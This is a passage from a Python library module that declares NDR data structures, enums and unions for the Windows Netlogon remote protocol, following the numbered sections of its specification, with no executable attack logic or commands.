('LogonInteractiveTransitive', PNETLOGON_INTERACTIVE_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonServiceInformation               : ('LogonService', PNETLOGON_SERVICE_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonServiceTransitiveInformation     : ('LogonServiceTransitive', PNETLOGON_SERVICE_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkInformation               : ('LogonNetwork', PNETLOGON_NETWORK_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation     : ('LogonNetworkTransitive', PNETLOGON_NETWORK_INFO),\n        NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation               : ('LogonGeneric', PNETLOGON_GENERIC_INFO),\n    }\n\n# 2.2.1.4.7 NETLOGON_SID_AND_ATTRIBUTES\nclass NETLOGON_SID_AND_ATTRIBUTES(NDRSTRUCT):\n    structure = (\n        ('Sid', PRPC_SID),\n        ('Attributes', ULONG),\n    )\n\n# 2.2.1.4.8 NETLOGON_VALIDATION_GENERIC_INFO2\nclass NETLOGON_VALIDATION_GENERIC_INFO2(NDRSTRUCT):\n    structure = (\n        ('DataLength', ULONG),\n        ('ValidationData', PUCHAR_ARRAY),\n    )\n\nclass PNETLOGON_VALIDATION_GENERIC_INFO2(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_VALIDATION_GENERIC_INFO2),\n    )\n\n# 2.2.1.4.9 USER_SESSION_KEY\nUSER_SESSION_KEY = LM_OWF_PASSWORD\n\n# 2.2.1.4.10 GROUP_MEMBERSHIP\nclass GROUP_MEMBERSHIP(NDRSTRUCT):\n    structure = (\n        ('RelativeId', ULONG),\n        ('Attributes', ULONG),\n    )\n\nclass GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):\n    item = GROUP_MEMBERSHIP\n\nclass PGROUP_MEMBERSHIP_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', GROUP_MEMBERSHIP_ARRAY),\n    )\n\n# 2.2.1.4.11 NETLOGON_VALIDATION_SAM_INFO\nclass LONG_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return 4*10\n\nclass NETLOGON_VALIDATION_SAM_INFO(NDRSTRUCT):\n    structure = (\n        ('LogonTime', OLD_LARGE_INTEGER),\n        ('LogoffTime', OLD_LARGE_INTEGER),\n        ('KickOffTime', OLD_LARGE_INTEGER),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('PasswordCanChange', OLD_LARGE_INTEGER),\n        ('PasswordMustChange', OLD_LARGE_INTEGER),\n        ('EffectiveName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('LogonScript', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('LogonCount', USHORT),\n        ('BadPasswordCount', USHORT),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('GroupCount', ULONG),\n        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),\n        ('UserFlags', ULONG),\n        ('UserSessionKey', USER_SESSION_KEY),\n        ('LogonServer', RPC_UNICODE_STRING),\n        ('LogonDomainName', RPC_UNICODE_STRING),\n        ('LogonDomainId', PRPC_SID),\n        ('ExpansionRoom', LONG_ARRAY),\n    )\n\nclass PNETLOGON_VALIDATION_SAM_INFO(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_VALIDATION_SAM_INFO),\n    )\n\n# 2.2.1.4.12 NETLOGON_VALIDATION_SAM_INFO2\nclass NETLOGON_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):\n    item = NETLOGON_SID_AND_ATTRIBUTES\n\nclass PNETLOGON_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_SID_AND_ATTRIBUTES_ARRAY),\n    )\n\nclass NETLOGON_VALIDATION_SAM_INFO2(NDRSTRUCT):\n    structure = (\n        ('LogonTime', OLD_LARGE_INTEGER),\n        ('LogoffTime', OLD_LARGE_INTEGER),\n        ('KickOffTime', OLD_LARGE_INTEGER),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('PasswordCanChange', OLD_LARGE_INTEGER),\n        ('PasswordMustChange', OLD_LARGE_INTEGER),\n        ('EffectiveName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('LogonScript', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('LogonCount', USHORT),\n        ('BadPasswordCount', USHORT),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('GroupCount', ULONG),\n        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),\n        ('UserFlags', ULONG),\n        ('UserSessionKey', USER_SESSION_KEY),\n        ('LogonServer', RPC_UNICODE_STRING),\n        ('LogonDomainName', RPC_UNICODE_STRING),\n        ('LogonDomainId', PRPC_SID),\n        ('ExpansionRoom', LONG_ARRAY),\n        ('SidCount', ULONG),\n        ('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),\n    )\n\nclass PNETLOGON_VALIDATION_SAM_INFO2(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_VALIDATION_SAM_INFO2),\n    )\n\n# 2.2.1.4.13 NETLOGON_VALIDATION_SAM_INFO4\nclass NETLOGON_VALIDATION_SAM_INFO4(NDRSTRUCT):\n    structure = (\n        ('LogonTime', OLD_LARGE_INTEGER),\n        ('LogoffTime', OLD_LARGE_INTEGER),\n        ('KickOffTime', OLD_LARGE_INTEGER),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('PasswordCanChange', OLD_LARGE_INTEGER),\n        ('PasswordMustChange', OLD_LARGE_INTEGER),\n        ('EffectiveName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('LogonScript', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('LogonCount', USHORT),\n        ('BadPasswordCount', USHORT),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('GroupCount', ULONG),\n        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),\n        ('UserFlags', ULONG),\n        ('UserSessionKey', USER_SESSION_KEY),\n        ('LogonServer', RPC_UNICODE_STRING),\n        ('LogonDomainName', RPC_UNICODE_STRING),\n        ('LogonDomainId', PRPC_SID),\n\n        ('LMKey', CHAR_FIXED_8_ARRAY),\n        ('UserAccountControl', ULONG),\n        ('SubAuthStatus', ULONG),\n        ('LastSuccessfulILogon', OLD_LARGE_INTEGER),\n        ('LastFailedILogon', OLD_LARGE_INTEGER),\n        ('FailedILogonCount', ULONG),\n        ('Reserved4', ULONG),\n\n        ('SidCount', ULONG),\n        ('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),\n        ('DnsLogonDomainName', RPC_UNICODE_STRING),\n        ('Upn', RPC_UNICODE_STRING),\n        ('ExpansionString1', RPC_UNICODE_STRING),\n        ('ExpansionString2', RPC_UNICODE_STRING),\n        ('ExpansionString3', RPC_UNICODE_STRING),\n        ('ExpansionString4', RPC_UNICODE_STRING),\n        ('ExpansionString5', RPC_UNICODE_STRING),\n        ('ExpansionString6', RPC_UNICODE_STRING),\n        ('ExpansionString7', RPC_UNICODE_STRING),\n        ('ExpansionString8', RPC_UNICODE_STRING),\n        ('ExpansionString9', RPC_UNICODE_STRING),\n        ('ExpansionString10', RPC_UNICODE_STRING),\n    )\n\nclass PNETLOGON_VALIDATION_SAM_INFO4(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_VALIDATION_SAM_INFO4),\n    )\n\n# 2.2.1.4.17 NETLOGON_VALIDATION_INFO_CLASS\nclass NETLOGON_VALIDATION_INFO_CLASS(NDRENUM):\n    class enumItems(Enum):\n        NetlogonValidationUasInfo      = 1\n        NetlogonValidationSamInfo      = 2\n        NetlogonValidationSamInfo2     = 3\n        NetlogonValidationGenericInfo  = 4\n        NetlogonValidationGenericInfo2 = 5\n        NetlogonValidationSamInfo4     = 6\n\n# 2.2.1.4.14 NETLOGON_VALIDATION\nclass NETLOGON_VALIDATION(NDRUNION):\n    union = {\n        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo     : ('ValidationSam', PNETLOGON_VALIDATION_SAM_INFO),\n        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2    : ('ValidationSam2', PNETLOGON_VALIDATION_SAM_INFO2),\n        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2: ('ValidationGeneric2', PNETLOGON_VALIDATION_GENERIC_INFO2),\n        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4    : ('ValidationSam4', PNETLOGON_VALIDATION_SAM_INFO4),\n    }\n\n# 2.2.1.5.2 NLPR_QUOTA_LIMITS\nclass NLPR_QUOTA_LIMITS(NDRSTRUCT):\n    structure = (\n        ('PagedPoolLimit', ULONG),\n        ('NonPagedPoolLimit', ULONG),\n        ('MinimumWorkingSetSize', ULONG),\n        ('MaximumWorkingSetSize', ULONG),\n        ('PagefileLimit', ULONG),\n        ('Reserved', OLD_LARGE_INTEGER),\n    )\n\n# 2.2.1.5.3 NETLOGON_DELTA_ACCOUNTS\nclass ULONG_ARRAY(NDRUniConformantArray):\n    item = ULONG\n\nclass PULONG_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', ULONG_ARRAY),\n    )\n\nclass NETLOGON_DELTA_ACCOUNTS(NDRSTRUCT):\n    structure = (\n        ('PrivilegeEntries', ULONG),\n        ('PrivilegeControl', ULONG),\n        ('PrivilegeAttributes', PULONG_ARRAY),\n        ('PrivilegeNames', PRPC_UNICODE_STRING_ARRAY),\n        ('QuotaLimits', NLPR_QUOTA_LIMITS),\n        ('SystemAccessFlags', ULONG),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_ACCOUNTS(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_ACCOUNTS),\n    )\n\n# 2.2.1.5.5 NLPR_SID_INFORMATION\nclass NLPR_SID_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('SidPointer', PRPC_SID),\n    )\n\n# 2.2.1.5.6 NLPR_SID_ARRAY\nclass NLPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):\n    item = NLPR_SID_INFORMATION\n\nclass PNLPR_SID_INFORMATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NLPR_SID_INFORMATION_ARRAY),\n    )\n\nclass NLPR_SID_ARRAY(NDRSTRUCT):\n    referent = (\n        ('Count', ULONG),\n        ('Sids', PNLPR_SID_INFORMATION_ARRAY),\n    )\n\n# 2.2.1.5.7 NETLOGON_DELTA_ALIAS_MEMBER\nclass NETLOGON_DELTA_ALIAS_MEMBER(NDRSTRUCT):\n    structure = (\n        ('Members', NLPR_SID_ARRAY),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_ALIAS_MEMBER(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_ALIAS_MEMBER),\n    )\n\n# 2.2.1.5.8 NETLOGON_DELTA_DELETE_GROUP\nclass NETLOGON_DELTA_DELETE_GROUP(NDRSTRUCT):\n    structure = (\n        ('AccountName', LPWSTR),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_DELETE_GROUP(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_DELETE_GROUP),\n    )\n\n# 2.2.1.5.9 NETLOGON_DELTA_DELETE_USER\nclass NETLOGON_DELTA_DELETE_USER(NDRSTRUCT):\n    structure = (\n        ('AccountName', LPWSTR),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_DELETE_USER(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_DELETE_USER),\n    )\n\n# 2.2.1.5.10 NETLOGON_DELTA_DOMAIN\nclass NETLOGON_DELTA_DOMAIN(NDRSTRUCT):\n    structure = (\n        ('DomainName', RPC_UNICODE_STRING),\n        ('OemInformation', RPC_UNICODE_STRING),\n        ('ForceLogoff', OLD_LARGE_INTEGER),\n        ('MinPasswordLength', USHORT),\n        ('PasswordHistoryLength', USHORT),\n        ('MaxPasswordAge', OLD_LARGE_INTEGER),\n        ('MinPasswordAge', OLD_LARGE_INTEGER),\n        ('DomainModifiedCount', OLD_LARGE_INTEGER),\n        ('DomainCreationTime', OLD_LARGE_INTEGER),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('DomainLockoutInformation', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('PasswordProperties', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_DOMAIN(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_DOMAIN),\n    )\n\n# 2.2.1.5.13 NETLOGON_DELTA_GROUP\nclass NETLOGON_DELTA_GROUP(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n        ('RelativeId', ULONG),\n        ('Attributes', ULONG),\n        ('AdminComment', RPC_UNICODE_STRING),\n        ('SecurityInformation', USHORT),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', SECURITY_INFORMATION),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_GROUP(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_GROUP),\n    )\n\n# 2.2.1.5.24 NETLOGON_RENAME_GROUP\nclass NETLOGON_RENAME_GROUP(NDRSTRUCT):\n    structure = (\n        ('OldName', RPC_UNICODE_STRING),\n        ('NewName', RPC_UNICODE_STRING),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_RENAME_GROUP(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_RENAME_GROUP),\n    )\n\n# 2.2.1.5.14 NLPR_LOGON_HOURS\nfrom impacket.dcerpc.v5.samr import SAMPR_LOGON_HOURS\nNLPR_LOGON_HOURS = SAMPR_LOGON_HOURS\n\n# 2.2.1.5.15 NLPR_USER_PRIVATE_INFO\nclass NLPR_USER_PRIVATE_INFO(NDRSTRUCT):\n    structure = (\n        ('SensitiveData', UCHAR),\n        ('DataLength', ULONG),\n        ('Data', PUCHAR_ARRAY),\n    )\n\n# 2.2.1.5.16 NETLOGON_DELTA_USER\nclass NETLOGON_DELTA_USER(NDRSTRUCT):\n    structure = (\n        ('UserName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('ScriptPath', RPC_UNICODE_STRING),\n        ('AdminComment', RPC_UNICODE_STRING),\n        ('WorkStations', RPC_UNICODE_STRING),\n        ('LastLogon', OLD_LARGE_INTEGER),\n        ('LastLogoff', OLD_LARGE_INTEGER),\n        ('LogonHours', NLPR_LOGON_HOURS),\n        ('BadPasswordCount', USHORT),\n        ('LogonCount', USHORT),\n        ('PasswordLastSet', OLD_LARGE_INTEGER),\n        ('AccountExpires', OLD_LARGE_INTEGER),\n        ('UserAccountControl', ULONG),\n        ('EncryptedNtOwfPassword', PUCHAR_ARRAY),\n        ('EncryptedLmOwfPassword', PUCHAR_ARRAY),\n        ('NtPasswordPresent', UCHAR),\n        ('LmPasswordPresent', UCHAR),\n        ('PasswordExpired', UCHAR),\n        ('UserComment', RPC_UNICODE_STRING),\n        ('Parameters', RPC_UNICODE_STRING),\n        ('CountryCode', USHORT),\n        ('CodePage', USHORT),\n        ('PrivateData', NLPR_USER_PRIVATE_INFO),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_USER(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_USER),\n    )\n\n# 2.2.1.5.25 NETLOGON_RENAME_USER\nclass NETLOGON_RENAME_USER(NDRSTRUCT):\n    structure = (\n        ('OldName', RPC_UNICODE_STRING),\n        ('NewName', RPC_UNICODE_STRING),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_RENAME_USER(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_RENAME_USER),\n    )\n\n# 2.2.1.5.17 NETLOGON_DELTA_GROUP_MEMBER\nclass NETLOGON_DELTA_GROUP_MEMBER(NDRSTRUCT):\n    structure = (\n        ('Members', PULONG_ARRAY),\n        ('Attributes', PULONG_ARRAY),\n        ('MemberCount', ULONG),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_GROUP_MEMBER(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_GROUP_MEMBER),\n    )\n\n# 2.2.1.5.4 NETLOGON_DELTA_ALIAS\nclass NETLOGON_DELTA_ALIAS(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING),\n        ('RelativeId', ULONG),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('Comment', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_ALIAS(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_ALIAS),\n    )\n\n# 2.2.1.5.23 NETLOGON_RENAME_ALIAS\nclass NETLOGON_RENAME_ALIAS(NDRSTRUCT):\n    structure = (\n        ('OldName', RPC_UNICODE_STRING),\n        ('NewName', RPC_UNICODE_STRING),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_RENAME_ALIAS(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_RENAME_ALIAS),\n    )\n\n# 2.2.1.5.19 NETLOGON_DELTA_POLICY\nclass NETLOGON_DELTA_POLICY(NDRSTRUCT):\n    structure = (\n        ('MaximumLogSize', ULONG),\n        ('AuditRetentionPeriod', OLD_LARGE_INTEGER),\n        ('AuditingMode', UCHAR),\n        ('MaximumAuditEventCount', ULONG),\n        ('EventAuditingOptions', PULONG_ARRAY),\n        ('PrimaryDomainName', RPC_UNICODE_STRING),\n        ('PrimaryDomainSid', PRPC_SID),\n        ('QuotaLimits', NLPR_QUOTA_LIMITS),\n        ('ModifiedId', OLD_LARGE_INTEGER),\n        ('DatabaseCreationTime', OLD_LARGE_INTEGER),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_POLICY(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_POLICY),\n    )\n\n# 2.2.1.5.22 NETLOGON_DELTA_TRUSTED_DOMAINS\nclass NETLOGON_DELTA_TRUSTED_DOMAINS(NDRSTRUCT):\n    structure = (\n        ('DomainName', RPC_UNICODE_STRING),\n        ('NumControllerEntries', ULONG),\n        ('ControllerNames', PRPC_UNICODE_STRING_ARRAY),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_TRUSTED_DOMAINS(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_TRUSTED_DOMAINS),\n    )\n\n# 2.2.1.5.20 NLPR_CR_CIPHER_VALUE\nclass UCHAR_ARRAY2(NDRUniConformantVaryingArray):\n    item = UCHAR\n\nclass PUCHAR_ARRAY2(NDRPOINTER):\n    referent = (\n        ('Data', UCHAR_ARRAY2),\n    )\n\nclass NLPR_CR_CIPHER_VALUE(NDRSTRUCT):\n    structure = (\n        ('Length', ULONG),\n        ('MaximumLength', ULONG),\n        ('Buffer', PUCHAR_ARRAY2),\n    )\n\n# 2.2.1.5.21 NETLOGON_DELTA_SECRET\nclass NETLOGON_DELTA_SECRET(NDRSTRUCT):\n    structure = (\n        ('CurrentValue', NLPR_CR_CIPHER_VALUE),\n        ('CurrentValueSetTime', OLD_LARGE_INTEGER),\n        ('OldValue', NLPR_CR_CIPHER_VALUE),\n        ('OldValueSetTime', OLD_LARGE_INTEGER),\n        ('SecurityInformation', SECURITY_INFORMATION),\n        ('SecuritySize', ULONG),\n        ('SecurityDescriptor', PUCHAR_ARRAY),\n        ('DummyString1', RPC_UNICODE_STRING),\n        ('DummyString2', RPC_UNICODE_STRING),\n        ('DummyString3', RPC_UNICODE_STRING),\n        ('DummyString4', RPC_UNICODE_STRING),\n        ('DummyLong1', ULONG),\n        ('DummyLong2', ULONG),\n        ('DummyLong3', ULONG),\n        ('DummyLong4', ULONG),\n    )\n\nclass PNETLOGON_DELTA_SECRET(NDRPOINTER):\n    referent = (\n        ('Data', NETLOGON_DELTA_SECRET),\n    )\n\n# 2.2.1.5.26 NLPR_MODIFIED_COUNT\nclass NLPR_MODIFIED_COUNT(NDRSTRUCT):\n    structure = (\n        ('ModifiedCount', OLD_LARGE_INTEGER),\n    )\n\nclass PNLPR_MODIFIED_COUNT(NDRPOINTER):\n    referent = (\n        ('Data', NLPR_MODIFIED_COUNT),\n    )\n\n# 2.2.1.5.28 NETLOGON_DELTA_TYPE\nclass NETLOGON_DELTA_TYPE(NDRENUM):\n    class enumItems(Enum):\n        AddOrChangeDomain     = 1\n        AddOrChangeGroup      = 2\n        DeleteGroup           = 3\n        RenameGroup           = 4\n        AddOrChangeUser       = 5\n        DeleteUser            = 6\n        RenameUser            = 7\n        ChangeGroupMembership = 8\n        AddOrChangeAlias      = 9\n        DeleteAlias           = 10\n        RenameAlias           = 11\n        ChangeAliasMembership = 12\n        AddOrChangeLsaPolicy  = 13\n        AddOrChangeLsaTDomain = 14\n        DeleteLsaTDomain      = 15\n        AddOrChangeLsaAccount = 16\n        DeleteLsaAccount      = 17\n        AddOrChangeLsaSecret  = 18\n        DeleteLsaSecret       = 19\n        DeleteGroupByName     = 20\n        DeleteUserByName      = 21\n        SerialNumberSkip      = 22\n\n# 2.2.1.5.27 NETLOGON_DELTA_UNION\nclass NETLOGON_DELTA_UNION(NDRUNION):\n    union = {\n        NETLOGON_DELTA_TYPE.AddOrChangeDomain     : ('DeltaDomain', PNETLOGON_DELTA_DOMAIN),\n        NETLOGON_DELTA_TYPE.AddOrChangeGroup      : ('DeltaGroup', PNETLOGON_DELTA_GROUP),\n        NETLOGON_DELTA_TYPE.RenameGroup           : ('DeltaRenameGroup', PNETLOGON_DELTA_RENAME_GROUP),\n        NETLOGON_DELTA_TYPE.AddOrChangeUser       : ('DeltaUser', PNETLOGON_DELTA_USER),\n        NETLOGON_DELTA_TYPE.RenameUser            : ('DeltaRenameUser', PNETLOGON_DELTA_RENAME_USER),\n        NETLOGON_DELTA_TYPE.ChangeGroupMembership : ('DeltaGroupMember', PNETLOGON_DELTA_GROUP_MEMBER),\n        NETLOGON_DELTA_TYPE.AddOrChangeAlias      : ('DeltaAlias', PNETLOGON_DELTA_ALIAS),\n        NETLOGON_DELTA_TYPE.RenameAlias           : ('DeltaRenameAlias', PNETLOGON_DELTA_RENAME_ALIAS),\n        NETLOGON_DELTA_TYPE.ChangeAliasMembership : ('DeltaAliasMember', PNETLOGON_DELTA_ALIAS_MEMBER),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy  : ('DeltaPolicy', PNETLOGON_DELTA_POLICY),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain : ('DeltaTDomains', PNETLOGON_DELTA_TRUSTED_DOMAINS),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount : ('DeltaAccounts', PNETLOGON_DELTA_ACCOUNTS),\n        NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret  : ('DeltaSecret', PNETLOGON_DELTA_SECRET),\n        NETLOGON_DELTA_TYPE.DeleteGroupByName     : ('DeltaDeleteGroup', PNETLOGON_DELTA_DELETE_GROUP),\n        NETLOGON_DELTA_TYPE.DeleteUserByName      : ('DeltaDeleteUser', PNETLOGON_DELTA_DELETE_USER),\n        NETLOGON_DELTA_TYPE.SerialNumberSkip      : ('DeltaSerialNumberSkip', PNLPR_MODIFIED_COUNT),\n    }\n\n# 2.2.1.5.18 NETLOGON_DELTA_ID_UNION\nclass NETLOGON_DELTA_ID_UNION(NDRUNION):\n    union = {\n        NETLOGON_DELTA_TYPE.AddOrChangeDomain     : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.AddOrChangeGroup      : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.DeleteGroup           : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.RenameGroup           : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.AddOrChangeUser       : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.DeleteUser            : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.RenameUser            : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.ChangeGroupMembership : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.AddOrChangeAlias      : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.DeleteAlias           : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.RenameAlias           : ('Rid', ULONG),\n        NETLOGON_DELTA_TYPE.ChangeAliasMembership : ('Rid', 